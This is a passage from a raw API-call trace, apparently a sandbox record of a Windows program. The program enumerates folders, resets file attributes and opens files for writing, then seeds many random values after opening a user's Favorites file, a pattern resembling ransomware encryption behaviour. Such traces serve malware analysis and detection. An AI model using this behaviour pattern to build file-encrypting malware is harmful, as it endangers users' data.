ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0152.154] wcscmp (_String1="overlay.png", _String2=".") returned 1 [0152.154] wcscmp (_String1="overlay.png", _String2="..") returned 1 [0152.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x119650 [0152.154] wcscpy (in: _Dest=0x119650, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.154] wcscat (in: _Dest=0x119650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0152.154] wcscat (in: _Dest=0x119650, _Source="overlay.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" [0152.154] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20 [0152.154] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", dwFileAttributes=0x20) returned 0 [0152.154] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.154] GetLastError () returned 0x5 [0152.155] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", dwFileAttributes=0x20) returned 0 [0152.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119650) returned 1 [0152.155] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0152.155] wcscmp (_String1="superbar.png", _String2=".") returned 1 [0152.155] wcscmp (_String1="superbar.png", _String2="..") returned 1 [0152.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776f50 [0152.155] wcscpy (in: _Dest=0x1b776f50, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.155] wcscat (in: _Dest=0x1b776f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0152.155] wcscat (in: _Dest=0x1b776f50, _Source="superbar.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" [0152.155] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20 [0152.157] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", dwFileAttributes=0x20) returned 0 [0152.158] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.158] GetLastError () returned 0x5 [0152.158] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", dwFileAttributes=0x20) returned 0 [0152.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776f50) returned 1 [0152.158] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0152.158] FindClose (in: hFindFile=0x1cd9ca90 | out: hFindFile=0x1cd9ca90) returned 1 [0152.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99ba0) returned 1 [0152.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1073c0) returned 1 [0152.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0152.159] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0152.160] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2=".") returned 1 [0152.160] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2="..") returned 1 [0152.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x202795b0 [0152.160] wcscpy (in: _Dest=0x202795b0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0152.160] wcscat (in: _Dest=0x202795b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\" [0152.160] wcscat (in: _Dest=0x202795b0, _Source="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0152.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x20278ef0 [0152.160] wcscpy (in: _Dest=0x20278ef0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0152.160] wcscat (in: _Dest=0x20278ef0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0152.160] wcscat (in: _Dest=0x20278ef0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*" [0152.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99ba0 [0152.160] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ca90 [0152.161] wcscmp (_String1=".", _String2=".") returned 0 [0152.161] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.161] wcscmp (_String1="..", _String2=".") returned 1 [0152.161] wcscmp (_String1="..", _String2="..") returned 0 [0152.161] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0152.161] wcscmp (_String1="background.png", _String2=".") returned 1 [0152.161] wcscmp (_String1="background.png", _String2="..") returned 1 [0152.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776f50 [0152.161] wcscpy (in: _Dest=0x1b776f50, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0152.161] wcscat (in: _Dest=0x1b776f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0152.161] wcscat (in: _Dest=0x1b776f50, _Source="background.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" [0152.161] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20 [0152.162] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0 [0152.162] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.162] GetLastError () returned 0x5 [0152.162] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0 [0152.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776f50) returned 1 [0152.163] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0152.163] wcscmp (_String1="behavior.xml", _String2=".") returned 1 [0152.163] wcscmp (_String1="behavior.xml", _String2="..") returned 1 [0152.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776f50 [0152.163] wcscpy (in: _Dest=0x1b776f50, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0152.163] wcscat (in: _Dest=0x1b776f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0152.163] wcscat (in: _Dest=0x1b776f50, _Source="behavior.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" [0152.163] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml")) returned 0x20 [0152.163] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0152.163] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.164] GetLastError () returned 0x5 [0152.164] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0152.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776f50) returned 1 [0152.164] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0152.164] wcscmp (_String1="watermark.png", _String2=".") returned 1 [0152.164] wcscmp (_String1="watermark.png", _String2="..") returned 1 [0152.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776f50 [0152.164] wcscpy (in: _Dest=0x1b776f50, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0152.164] wcscat (in: _Dest=0x1b776f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0152.164] wcscat (in: _Dest=0x1b776f50, _Source="watermark.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" [0152.165] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20 [0152.165] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", dwFileAttributes=0x20) returned 0 [0152.165] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.165] GetLastError () returned 0x5 [0152.165] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", dwFileAttributes=0x20) returned 0 [0152.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776f50) returned 1 [0152.166] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0152.166] FindClose (in: hFindFile=0x1cd9ca90 | out: hFindFile=0x1cd9ca90) returned 1 [0152.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99ba0) returned 1 [0152.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278ef0) returned 1 [0152.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0152.167] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0152.167] FindClose (in: hFindFile=0x1cd9d130 | out: hFindFile=0x1cd9d130) returned 1 [0152.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205033d0) returned 1 [0152.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ab0) returned 1 [0152.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 Thread: id = 2268 os_tid = 0x6cc [0143.185] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url")) returned 0x20 [0143.186] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", dwFileAttributes=0x20) returned 1 [0148.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e08 [0148.484] GetFileSizeEx (in: hFile=0x1e08, lpFileSize=0x244df720 | out: lpFileSize=0x244df720*=226) returned 1 [0148.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0148.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0148.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0148.485] NtQuerySystemTime (in: CurrentTime=0x244df5e0 | out: CurrentTime=0x244df5e0*=132462177537142000) returned 0x0 [0148.485] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x525ec45 [0148.485] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x7c679bba [0148.485] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x7f0aa85a [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x2db5cd91 [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x597da34c [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x68209102 [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x4911b45d [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x270e63aa [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0xacd8595 [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x712a20bd [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x2cd2de9f [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x64aac462 [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x5214ec78 [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x1eb5845f [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x6bfe30d1 [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x5e82de7b [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x2084f31b [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x5e545cbc [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x4935f730 [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x5a182ff3 [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x5dbb8c85 [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x38dc9d31 [0148.486] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x3a875f48 [0148.487] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x4b503684 [0148.487] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x766a8061 [0148.487] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x3caa1869 [0148.487] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x2cd646b4 [0148.487] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x11eb605c [0148.487] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x5b1c000d [0148.487] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x44b2d01e [0148.487] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x182844d2 [0148.487] RtlRandomEx (in: Seed=0x244df5d0 | out: Seed=0x244df5d0) returned 0x69055c91 [0148.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0148.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8695c0 [0148.501] RtlAllocateHeap (HeapHandle=0xa0000, 